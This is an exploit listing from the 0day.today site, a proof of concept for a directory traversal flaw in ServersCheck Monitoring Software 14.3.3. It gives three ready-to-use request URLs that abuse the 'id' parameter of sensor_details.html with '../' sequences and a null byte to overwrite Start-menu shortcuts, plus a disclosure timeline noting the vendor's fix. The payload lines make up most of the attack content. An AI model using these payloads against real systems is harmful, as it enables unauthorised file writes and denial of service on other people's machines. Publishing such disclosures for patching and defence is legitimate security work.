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ServersCheck Monitoring Software 14.3.3 - Denial of Service Exploit

🗓️ 23 Oct 2018 00:00:00Reported by hyp3rlinxType 
zdt
 zdt
🔗 0day.today👁 60 Views

ServersCheck Monitoring Software 14.3.3 Denial of Service Exploit via Directory Traversa

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# Exploit Title: ServersCheck Monitoring Software 14.3.3 - Denial of Service (PoC)
# Author: John Page (aka hyp3rlinx)
# Vendor: www.serverscheck.com
# Software Link: http://downloads.serverscheck.com/monitoring_software/setup.exe
# CVE: N/A
# References: 
# http://hyp3rlinx.altervista.org/advisories/CVE-2018-18552-SERVERSCHECK-MONITORING-SOFTWARE-ARBITRARY-FILE-WRITE-DOS.txt
# https://serverscheck.com/monitoring-software/release.asp
# Affected Component: "sensor_details.html" webpage the "id" parameter
 
# Security Issue
# ServersCheck Monitoring Software allows remote attackers to cause a denial of service 
# (menu functionality loss) by creating an LNK file that points to a second LNK file, if this 
# second LNK file is associated with a Start menu item. Ultimately, this behavior comes 
# from a Directory Traversal bug (via the sensor_details.html id parameter) that allows 
# creating empty files in arbitrary directories. 
 
# Exploit/POC
# DOS Command Prompt .LNK under Start Menu change <VICTIM> to desired user.
 
http://127.0.0.1:1272/sensor_details.html?id=../../../../Users/<VICTIM>/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Accessories/Command%20Prompt.lnk%00
 
# DOS Run .LNK under Start Menu 
 
http://127.0.0.1:1272/sensor_details.html?id=../../../../Users/<VICTIM>/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Accessories/Run.lnk%00
 
# DOS Internet Explorer .LNK from Start Menu 
http://127.0.0.1:1272/sensor_details.html?id=../../../../Users/<VICTIM>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Internet Explorer.LNK%00
 
# Victim will get error message from server like "Error retrieving sensor details from database".
# Then,No Internet Explorer, Command or Run prompt via the Start/Programs/Accessories/ 
# and Task Menu links. However, can still be launch by other means. Tested successfully on 
# Windows 7 OS
 
# [Disclosure Timeline]
# Vendor Notification: October 6, 2018
# Vendor acknowledgement: October 7, 2018
# Vendor release v14.3.4 : October 7th, 2018 
# CVE assign by Mitre: October 21, 2018
# October 22, 2018 : Public Disclosure

#  0day.today [2018-10-24]  #

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